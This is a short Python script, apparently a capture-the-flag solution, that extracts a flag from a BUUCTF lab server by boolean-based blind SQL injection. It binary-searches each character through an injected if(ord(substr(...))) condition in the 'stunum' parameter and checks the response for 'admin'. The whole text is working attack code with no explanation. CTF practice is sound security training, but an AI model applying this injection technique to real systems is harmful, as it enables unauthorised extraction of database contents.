flag = "" for x in range(1,100): l = 32 r = 126 while r > l: mid = int((l + r + 1) / 2) x = str(x) y = str(mid) url = 'http://ae264edd-9cc0-4005-8193-2fe2294f2118.node3.buuoj.cn/?stunum=if(ord(substr((select(value)from(flag)),'+x+',1))>='+y+',1,0)#' response = requests.get(url=url) if"admin" in response.text: l = mid else: r = mid - 1 time.sleep(0.03) flag += (chr(int(r))) print(chr(int(r))) print(flag) print(flag)